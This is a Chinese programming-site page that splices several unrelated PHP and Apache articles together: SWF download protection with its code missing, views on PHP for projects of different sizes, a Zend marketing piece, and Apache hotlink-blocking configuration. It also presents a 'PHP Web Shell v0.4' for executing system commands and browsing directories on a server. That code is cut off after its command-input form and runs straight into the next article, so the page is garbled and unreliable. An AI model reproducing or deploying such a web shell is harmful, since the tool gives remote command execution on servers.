首页 > 编程技术 > php

使用PHP程序来保护你的flash作品

发布时间:2016-11-25 16:15

本文的保护是指防止用户将swf文件保存到本地,其实这种方法在很久之前就有人使用过了。主要的保护措施就是在php后台读取$_SERVER数组,如果是用IE里面的ActiveX控件来加载影片,将会有一个$_SERVER["HTTP_X_FLASH_VERSION"]参数,如果是用其它下载软件来下载,则不会有这个参数,纳闷的是用Firefox的ActiveX竟然没有这个参数。
这样一来就可以通过这个参数来判断用户的获取方式是否合法了。如果检测到没有$_SERVER["HTTP_X_FLASH_VERSION"]这个参数,就可以在后台切换另外一个swf来替换原来的。
 
另外一个就是缓存问题了,一般swf显示之后都还会显示在用户的缓存那里,这个问题也可以解决,那就是通过设置网页的头文件来实现,PHP代码:

使用PHP程序来保护你的flash作品"

要声名一下,这种保护技术的能力是有限的,可以破解的方法还是有的。
  在首页看到一篇文章 PHP做Web项目的优缺点, 自己也来废话几句。
  其实PHP是一个很优秀的工具,它可以简单,也可以复杂。不一样的项目,应该用不一样的PHP。
  小项目 - 简单而直接的PHP
  一般对于一个功能页面在20以下的网站,我们可以用一个很简单的框架结构来写。在这个规模上,我建议是使用比较直接的面向过程编码方法,原因很简单,没有必要把class文件弄的N 多,结果controller里边就一个new就完了。当然,需求频繁变化的项目除外。
  在这个级别上,php优点表现的很明显:快速开发,一目了然。缺点同时也被隐藏得很好。
  中型项目 - 结构优美的OO化的PHP
  对于一个中型项目,我建议使用一个良好设计的框架来做,这个框架可以是基于MVC模型,封装了众多底层操作的,当然,一定要有一个好的最好是透明的cache机制,这样,我们为了适应变化而加入的OO机制可以运行得更快更好。
  在这个级别上。php的缺点开始凸现,像对OO支持的不完整(这个PHP5有很大改进),只能单线程模式。另外一些外围工具开始出现缺乏支持,像PHP没有好的重构工具,没有好的集成到IDE中的单元测试工具。优点当然还是原来的快速开发,广泛的可用的开源资源。
  大型项目 - 扩展、优化后的PHP
  这里的大型项目,简单的指分布式项目,就是说,你的程序需要被部署在N台服务器上了。在这个层级上,PHP比起j2ee的确缺乏很多支持。我曾和shadow在735上详细讨论过PHP要在大型系统上应用需要解决的一些问题,当然这些问题不光是PHP这个语言的问题,也包括了周边开发的问题:
  1 PHP的页面代码共享,PHP的源代码被载入内存一次以后,就在其中保留 - 这个用APC和Zend的优化器可以搞定。
  2 PHP页面之间的数据对象共享,a.php和b.php之间可以共享一个数据对象,比如数组,这个现在可以用序列化来作,但是会有文件io,这块可以用共享内存或者memcached来处理。
  3 PHP的数据库连接池,因为在多前端的情况下,PHP控制不住对数据库的连接,所以需要在数据库前边去作一个连接池,类似于sqlrelay的东西。另外数据缓存也是很重要的,大压力开发有一个tip,就是能不动数据库就不要动数据库。
  4 PHP的前端cache系统。一个透明的可控制的cache机制,确保网站的页面以最少次数查询数据库。这个有很多实现,但是没有找到特别好的。
  以前写过一个没有任何技术含量的PHP CMD Shell,总是觉得功能很弱,并且对一些问题没有处理好,比如浏览目录等,后来深入学习PHP 后,发现了很多有趣的函数个,于是重新简单的编写了一个新的PHP Shell,希望大家喜欢!

程序介绍:
程序:PHP Web Shell
版本:v0.4
功能:
1.可以支持目前主流的操作系统: Win32/*nix/*BSD
2.执行系统命令/程序
3.浏览目录
未来功能:
1.支持在线 上传/下载 文件功能
2.支持在线 新建/删除/添加/修改 文件功能
程序代码:

<html>
<head>
<title>PHP Web Shell v0.4</title>
<!-- 定义文件样式 -->
<style>
<!--
.input{BORDER-RIGHT: #888888 1px solid; BORDER-TOP: #888888 1px solid; BACKGROUND: #ffffff; BORDER-LEFT: #888888 1px solid; BORDER-BOTTOM: #888888 1px solid; FONT-FAMILY: "Verdana", "Arial"font-color: #ffffff;FONT-SIZE: 9pt;}
.font{FONT-SIZE: 9pt;}
.fonts{FONT-SIZE: 15pt;}
TABLE{FONT-SIZE: 9pt; COLOR: #006666}
A {FONT-SIZE: 9pt; COLOR: #6666cc; TEXT-DECORATION: none}
A:hover {FONT-SIZE: 9pt; COLOR: #ff3333; TEXT-DECORATION: none}
BODY
{ SCROLLBAR-FACE-COLOR: #ffffff;
SCROLLBAR-HIGHLIGHT-COLOR: #6c6c90;
SCROLLBAR-SHADOW-COLOR: #fcfcfc;
SCROLLBAR-3DLIGHT-COLOR: #fcfcfc;
SCROLLBAR-ARROW-COLOR: #240024;
SCROLLBAR-TRACK-COLOR: #fcfcfc;
SCROLLBAR-DARKSHADOW-COLOR: #48486c;
SCROLLBAR-BASE-COLOR: #fcfcfc
}
-->
</STYLE>
</head>
<body bgcolor="#eeeeee" text="#000000">
<center><font size=3 color=red class=fonts><b>PHP Web Shell</b></font> v0.4
<font size=2 color="000000" class=font>适用系统:Win32/Linux/Unix/BSD</font>
<FORM METHOD=POST ACTION="<? echo $PHP_SELF ?>"> //获取脚本本身
<font class=font>输入命令 </font><INPUT TYPE="text" NAME="cmd" size=20 class=input>
<INPUT TYPE="submit" value="执行" class=input>
>>摘自对Zend 的marketing VP Pamela Roussos的访问
继PHP获得“Programming Language of 2004”大奖之后,由Zend公司主导的PHP,开始向J2EE和.NET发起挑战,抢夺WEB企业应用开发市场。
根据 Forrester公司的调研,预计到2006市场上将会 有22%的企业应用使用J2EE开发,13%使.NET,56%为二者结合,还有9%使用其它语言和平台。Zend公司的目标正是这9%(甚至更多,因为Zend认为J2EE过于复杂,而使用PHP来高效率地开发出高速的应用是不难的 。Zend公司已经推出了Zend Platform 1.1, 目的正是在于提高PHP的企业级应用竞争力。这是一个完整的解决方案,甚至为PHP和Java的结合提供了一个PHP/Java Integration Bridge ,使用两者可以方便地结合。它将被集中到Zend Studio中。Zend Platform支持 Linux, Sparc Solaris, FreeBSD 4.x/5.x 和 Mac OS X. ,其单CPU服务器版本价格为999美元,双CPU服务器版本价格为1495美元。
 
除了推出Zend Platform外,Zend公司正在加紧推出Zend Studio4.0,大约在情人节(05.02.14)可以推出Beta版本。
 ZendStudio提供了MySQL, PostgreSQL, SQLite, Oracle, SQL Server, DB2 和 Cloudscape 数据库集成和支持。
顺便提一下Zend公司,这个在以色列成立五年的公司已经拥有8000多个客户(如ufthansa, Lockheed Martin, Disney Online, Dresdner Bank, Orange and ADP)。2003年其总部迁往美国加利福尼亚州,并开始在德国和日本开设办事处。


Apache 实现禁止图片盗链
1、假设充许连结图片的主机域名为:www.demo.com.cn
2、修改httpd.conf
Code:
SetEnvIfNoCase Referer "^http://www.demo.com.cn/" local_ref=1
<FilesMatch ".(gif|jpg)">
Order Allow,Deny
Allow from env=local_ref
</FilesMatch>

这个简单的应用不光可以解决图片盗链的问题,稍加修改还可以防止任意文件盗链下载的问题。
 
使用以上的方法当从非指定的主机连结图片时,图片将无法显示,如果希望显示一张“禁止盗链”的图片,我们可以用mod_rewrite 来实现。
 
首先在安装 apache 时要加上 --enable-rewrite 参数加载 mod_rewrite 模组。
 
假设“禁止盗链”的图片为abc.gif,我们在 httpd.conf 中可以这样配置:

Code:
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www.)?demo.com.cn /.*$ [NC]
RewriteRule .(gif|jpg)$ http://www.demo.com.cn/abc.gif [R,L]
++++++++++++++++++++++++++++++++++++++
DocumentRoot "/usr/local/apache/htdocs"
#设置存放站点html文件的目录。
 
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
#设置/目录的指令。具体地说明:
Option:定义在目录内所能执行的操作。
 
None:表示只能浏览,
FollowSymLinks:允许页面连接到别处,
ExecCGI:允许执行CGI,
MultiViews:允许看动画或是听音乐之类的操作,
Indexes:允许服务器返回目录的格式化列表,
Includes:允许使用SSI。这些设置可以复选。
 
All:则可以做任何事,但不包括MultiViews。
 
AllowOverride:加None参数表示任何人都可以浏览该目录下的文件。
 
另外的参数有:FileInfo、AuthConfig、Limit。


标签:[!--infotagslink--]